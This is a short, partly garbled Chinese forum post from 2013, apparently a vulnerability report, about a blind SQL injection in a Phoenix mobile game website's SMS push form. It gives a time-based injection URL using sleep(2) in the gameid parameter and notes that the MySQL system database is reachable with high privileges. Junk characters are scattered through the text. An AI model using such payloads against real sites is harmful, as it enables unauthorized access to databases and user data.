简要描述：# l* [ K, v$ A; y; f& E5 E
凤凰手机游戏网，在填写手机号码发送push连接的地方存在sql盲注漏洞。
: [. h/ |; q h9 ]
1 a3 f) Y2 y1 J8 n+ X3 V8 I& O7 {, v; D详细说明：
: k3 X j8 g/ k, y存在SQL盲注url:
Z; O P7 k+ d1 O3 q/ x2 U+ Q8 ?! Pfenghuang/game/game_send_sms.jsp?gameid=130221346000%27%20and%20sleep%282%29%3d%27&mo=13 O, Z- U6 F# S7 @& z! c& W( ~5 F
http://www.myhack58.com/Article/UploadPic/2013-4/2013411254849748.png
1 N; z6 G% u8 r! Q; T' y5 `http://www.myhack58.com/Article/UploadPic/2013-4/20134112545369314.png5 G5 g: j1 a# x2 P" t9 s4 j6 d0 q2 O
http://www.myhack58.com/Article/UploadPic/2013-4/20134112565766695.jpg0 i3 [! k/ y( @, [* ~4 F; S; l2 L
( S, `" d, u4 c6 J: a2 g
能看到mysql系统数据库，看来user权限应该很高的。。 | 
发表于 2013-4-4 17:34:29
收藏
支持
反对